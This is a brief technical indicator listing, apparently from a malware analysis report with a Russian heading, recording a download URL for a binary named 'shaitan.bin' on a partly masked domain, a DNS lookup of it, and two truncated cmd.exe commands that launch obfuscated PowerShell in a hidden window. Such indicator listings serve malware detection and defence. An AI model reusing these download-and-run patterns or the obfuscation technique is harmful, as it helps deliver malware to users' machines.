Техническая информация
- http://ma####msmodiall.at/shaitan.bin
- DNS ASK ma####msmodiall.at
- '<SYSTEM32>\cmd.exe' /c "powershell $ikisy='^l.a';$ocevda='^lie';$obwamx='^ebc';$znefwesq='^exe';$ojunpy='^y B';$odem='^rms';$xwylqunp='^vv.';$dwuwus='^ecu';$imac='^ath';$gyntaw='^''\i';$aggigy='^; S';$ohvyw='^tar...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "powershell $ikisy='^l.a';$ocevda='^lie';$obwamx='^ebc';$znefwesq='^exe';$ojunpy='^y B';$odem='^rms';$xwylqunp='^vv.';$dwuwus='^ecu';$imac='^ath';$gyntaw='^''\i';$aggigy='^; S';$ohvyw='^tar...